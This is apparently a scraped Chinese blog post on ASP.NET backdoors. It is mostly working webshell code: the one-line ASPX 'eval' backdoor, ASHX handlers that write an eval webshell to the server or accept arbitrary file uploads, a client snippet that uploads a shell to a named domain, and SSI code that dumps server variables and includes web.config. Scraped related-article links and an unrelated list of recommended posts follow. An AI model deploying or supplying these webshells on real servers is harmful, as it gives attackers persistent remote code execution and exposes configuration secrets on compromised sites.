ashx后门
一、标准ASPX一句话木马
.NET平台下的一句话木马则百年不变,最常见的当属下面这句
| <%@ Page Language=”Jscript”%><%eval(Request.Item[“pass”],”unsafe”);%> |
想必这句话已经成大多数防御产品的标准样本,除此以外还有上传文件的一句话,像这种的从严格意义上不能算是一句话木马,只是一个简单的上传文件的功能,实际的操作还是大马或者小马的操作行为。
| <%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request[“f”]) ); }%> |
二、ASHX一句话木马
ashx马儿 https://github.com/tennc/webshell/blob/master/caidao-shell/customize.ashx

这个马儿已经实现了菜刀可连,可用,还是挺棒的,但因为体积过大,并且在服务端实现了大多数功能,其实更像是一个大马,只是对客户端的菜刀做了适配可用。
二、ASHX写文件木马
木马执行后会在当前目录下生成webshell.asp一句话木马,密码是pass 也可以写入其它文件。
<%@ WebHandler Language="C#" class="Handler"% >
using System;
using System.Web;
using System.IO;
public class Handler:IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file = File.CreateText(context.Server.MapPath("webshell.asp")));
file.Write("<%eval request(\"pass\")%>");
file.Flush();
file.Close();
context.Response.Write("www.webshell.cc");
}
public bool IsReusable {
get {
return false;
}
}
}
将脚本中的Asp一句话改成菜刀的Aspx一句话~不过执行的时候爆错,说未知指令@Page。遂采用一下2种方式解决:
1.用String连接字符串
- <%@ WebHandler Language="C#" Class="Handler" %>
- using System;
- using System.Web;
- using System.IO;
- public class Handler : IHttpHandler {
- public void ProcessRequest (HttpContext context) {
- context.Response.ContentType = "text/plain";
- string show="<% @Page Language=\"Jscript\"%"+"><%eval(Request.Item"+"[\"chopper\"]"+",\"unsafe\");%>";
- StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx"));
- file1.Write(show);
- file1.Flush();
- file1.Close();
- }
- public bool IsReusable {
- get {
- return false;
- }
- }
- }
2.比较笨的方法,看代码吧
- <%@ WebHandler Language="C#" Class="Uploader" %>
- using System;
- using System.IO;
- using System.Web;
- public class Uploader : IHttpHandler
- {
- public void ProcessRequest(HttpContext hc)
- {
- foreach (string fileKey in hc.Request.Files)
- {
- HttpPostedFile file = hc.Request.Files[fileKey];
- file.SaveAs(Path.Combine(hc.Server.MapPath("."), file.FileName));
- }
- }
- public bool IsReusable
- {
- get { return true; }
- }
- }
然后用VS建立WinForm程序~主函数里写:
- System.Net.WebClient myWebClient = new System.Net.WebClient();
- myWebClient.UploadFile("http://www.xcnzz.com/Uploader.ashx", "POST", "C:\\ma.aspx");
三、stm/shtm/shtml脚本
虽然不能直接拿到webshell,但是可以获取到一些服务器信息。注意stm中的include可以将web.config文件中的内容包含进来。
<!--#ECHO var="ALL_HTTP"-->
当前文件名称:<!--#ECHO var="DOCUMENT_NAME"-->
Web服务器的名称和版本:<!--#ECHO var="SERVER_SOFTWARE"-->
主机名:<!--#ECHO var="SERVER_NAME"-->
端口:<!--#ECHO var="SERVER_PORT"-->
客户或客户代理IP地址:<!--#ECHO var="REMOTE_ADDR"-->
客户或客户代理主机名:<!--#ECHO var="REMOTE_HOST"-->
PATH_INFO 的值,但带有扩展为某个目录规范的虚拟路径:
<!--#ECHO var="PATH_TRANSLATED"-->
客户端给出附加路径信息:<!--#ECHO var="PATH_INFO"-->
<!--#ECHO var="HTTP_ACCEPT"-->
<!--#ECHO var="DOCUMENT_URI"-->
<!--#include file="../../web.config"-->
ashx后门的更多相关文章
- ashx后门[转]
https://www.cnblogs.com/Fluorescence-tjy/p/9855828.html 一.标准ASPX一句话木马 .NET平台下的一句话木马则百年不变,最常见的当属下面这句 ...
- Visual Studio 2013 添加一般应用程序(.ashx)文件到SharePoint项目
默认,在用vs2013开发SharePoint项目时,vs没有提供一般应用程序(.ashx)的项目模板,本文解决此问题. 以管理员身份启动vs2013,创建一个"SharePoint 201 ...
- Microsoft Azure Web Sites应用与实践【4】—— Microsoft Azure网站的“后门”
Microsoft Azure Web Sites应用与实践 系列: [1]—— 打造你的第一个Microsoft Azure Website [2]—— 通过本地IIS 远程管理Microsoft ...
- ashx中Response.ContentType的常用类型
ashx中Response.ContentType的常用类型: text/plaintext/htmltext/xmlapplication/jsonimage/GIFapplication/x-cd ...
- 一种开发模式:ajax + ashx + UserControl
一.ajax+ashx模式的缺点 在web开发过程中,为了提高网站的用户体验,或多或少都会用到ajax技术,甚至有的网站全部采用ajax来实现,大量使用ajax在增强用户体验的同时会带来一些负 ...
- shift粘滞键后门创建/复原批处理
创建shift粘滞键后门: 1 c: 2 3 cd \Windows\System32\ 4 5 rename sethc.exe bak_sethc.exe 6 7 xcopy cmd.exe se ...
- 如何使用VS在SharePont 2013中插入ashx文件
http://www.lifeonplanetgroove.com/adding-and-deploying-generic-handlers-ashx-to-a-sharepoint-2010-vi ...
- 分享一个html+js+ashx+easyui+ado.net权限管理系统
EasyUI.权限管理 这是个都快被搞烂了的组合,但是easyui的确好用,权限管理在项目中的确实用.一直以来博客园里也不少朋友分享过,但是感觉好的要不没源码,要不就是过度设计写的太复杂看不懂,也懒得 ...
- rootkit后门检查工具RKHunter
---恢复内容开始--- rkhunter简介: 中文名叫"Rootkit猎手", rkhunter是Linux系统平台下的一款开源入侵检测工具,具有非常全面的扫描范围,除了能够检 ...
随机推荐
- 1.1(学习笔记)Servlet简介及一个简单的实例
一.Servlet简介 Servlet是使用Java语言编写的服务器端程序,可以生产动态的Web界面. 主要运行在服务器端,Servlet可以方便的处理客户端传来的HTTP请求,并返回一个响应. 二. ...
- mac Nginx + FastCgi + Spawn-fcgi + c++
1.安装要用到的库 brew install lighttpd brew install nginx brew install Spawn-fcgi //----------------------- ...
- SQL函数学习(十六):STUFF()函数
16.STUFF()函数 STUFF()函数用于删除指定长度的字符,并可以在制定的起点处插入另一组字符. 16.1 STUFF()函数语法 select stuff(列名,开始位置,长度,替代字符串) ...
- Problem B: 调用函数,输出100到200之间的所有素数
#include <stdio.h> int isPrime(unsigned int n)//定义素数函数 { int i; || n == ) ; ; i * i <= n; i ...
- 通俗解释遗传算法及其Matlab实现
早上再看一个APP推荐的文章,发现的. (1)初识遗传算法 遗传算法,模拟达尔文进化论的自然选择和遗传学机理的生物进化过程的计算模型,一种选择不断选择优良个体的算法.谈到遗传,想想自然界动物遗传是怎么 ...
- Delphi~通过程序窗体句柄获取程序路径
http://www.cnblogs.com/Jesses/articles/1636323.html 引用PsAPI var h:HWND; pid: Cardinal; pHandle: T ...
- Delphi Delay 延时计数的功能。 下面的方法都是思路,但是没有用在项目上
procedure Tfrm_InstrumentControl.aa;var CurLength: Word; vTimeLength: Word;begin Screen.Cursor := cr ...
- 如何垂直居中元素(浮动元素&居中一个<img>)?
1.如何居中一个浮动元素? 方法一:已知元素的高度 <!DOCTYPE html> <html lang="en"> <head> < ...
- linux如何启动/停止/重启MySQL
如何启动/停止/重启MySQL 一.启动方式 1.使用 service 启动:service mysqld start2.使用 mysqld 脚本启动:/etc/inint.d/mysqld star ...
- Docker实践4: 基于nginx对后端的weblogic负载均衡
为什么要用Nginx(抄了一段) 1.nginx相对于apache的优点: 轻量级,同样起web服务,比apache占用更少的内存及资源 抗并发,nginx处理请求是异步非阻塞的,而apache则是阻 ...